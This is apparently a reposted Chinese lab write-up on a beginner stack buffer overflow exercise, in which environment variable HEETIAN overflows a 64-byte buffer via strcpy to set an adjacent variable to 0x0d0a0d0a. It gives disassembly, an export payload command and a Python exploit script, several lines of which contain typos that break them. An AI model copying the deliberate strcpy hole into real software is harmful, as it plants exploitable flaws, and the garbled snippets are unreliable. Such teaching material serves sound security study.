缓冲区溢出之环境变量

来源:互联网 发布:java 计算时间差 分钟 编辑:程序博客网 时间:2024/06/06 05:40

环境变量是什么呢?
操作系统下运行程序,每个进程都有其对应的环境变量设置,当一个新进程被创建时,除了明确的更改之外,其他的环境变量都会被继承

下面是百度上专业解释

环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数,如:临时文件夹位置和系统文件夹位置等。
环境变量是在操作系统中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息。例如Windows和DOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找。用户通过设置环境变量,来更好的运行进程。

值得关注的是环境变量是存放在堆栈中的!

如何查看环境变量呢?

执行下面程序的代码就会以数组形式显示。

如何编辑呢?

export name=“xxxxx”就可以添加name项或把name项改为xxxxx    O(∩_∩)O

export name=‘python -c “print ‘A’*20”’   你猜的就对了

#include <stdio.h>



int main(int argc,char** argv,char** envp)

{

int i =0;

while(envp[i])

{

printf("envp[%2d] = %s\n", i, envp[i]);

i +=1;

}

return0;

}

下面进入正题,是我们今天实验的代码,终于知道怎么把代码复制过来了  ┭┮﹏┭┮

#include <stdio.h>


#include <string.h>

#include <stdlib.h>



int main(int argc,char** argv)

{

int modified;

char buffer[64];

char* variable;



variable = getenv("HEETIAN");// 获取环境变量HEETIAN的值



if(variable ==NULL)

{

printf("Please set the HEETIAN environment variable\n");

exit(1);

}



modified =0;

strcpy(buffer, variable);// 调用strcpy进行字符串复制,可引发缓冲区溢出



if(modified ==0x0d0a0d0a)// 判断modified的值是否为0x0d0a0d0a

{

printf("Congratulations, you pwned it.\n");

}

else

{

printf("Please try again, you got 0x%08X\n", modified);

}

return0;

}

将代码保存到文件名test.c (cat test.c能打开查看源码) 执行gcc -o1 test.c -o test(linux自带gcc编译器,-o1到-o3编译器优化逐渐增多,-o输出为)

esp为参数

0x0804848d<+9>: movl $0x80485d4,(%esp) 

; 调用getenv获取环境变量HEETIAN的值

0x08048494<+16>:call0x8048364<getenv@plt>

; 将结果保存到variable变量,即[esp+0x5c]

0x08048499<+21>:mov %eax,0x5c(%esp)

; 判断返回结果是否为NULL    ,  获取操作一般都会有获取是否成功的判断

0x0804849d<+25>: cmpl $0x0,0x5c(%esp)

0x080484a2<+30>:jne0x80484bc<main+56>

......

; 初始化modified变量的值为0,位于[esp+0x58]

0x080484bc<+56>: movl $0x0,0x58(%esp)

; 调用strcpy对buffer进行填充,位于[esp+0x18],之前说过,传参是倒着来的,esp+0x18才是第一个参数,后面一直到strcpy把数据拷贝到了esp+18

0x080484c4<+64>:mov0x5c(%esp),%eax

0x080484c8<+68>:mov %eax,0x4(%esp)

0x080484cc<+72>:lea0x18(%esp),%eax

0x080484d0<+76>:mov %eax,(%esp)

0x080484d3<+79>:call0x8048384<strcpy@plt>

; 判断modified变量的值是否为0x0d0a0d0a

0x080484d8<+84>: cmpl $0xd0a0d0a,0x58(%esp)


这里有值得注意的,这次需要修改的值不是argv数组,而是叫HEETIAN的环境变量。需要修改的自然是环境变量了 O(∩_∩)O

Linuxshell中可以用$()或2个反引号(好像是单引号)来包裹一条shell命令并返回shell的执行结果

用到的命令:export HTEETIAN=$(python -c "python 'A'*64+'\x0a\x0d\x0a\x0d'")(注意字符的顺序,这里的16进制不是0x而是x)

插入:python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程环境变量参数信息;

ps.putenv可以修改进程的进程的环境变量的信息

例:下面的shell脚本同样可以解决本题

import os


defpwn():

    os.putenv("HEETIAN","A"*64+"\x0a\x0d\x0a\x0d")

    0s.system("./pwn3")

if_name_=="_main_":
    pwn()

总结:分析不算难,不过被上一题给骗了,上来和上次一样把输入的参数写的很长 ┭┮﹏┭┮ 总之小心点,注意puts,strcpy这种函数的参数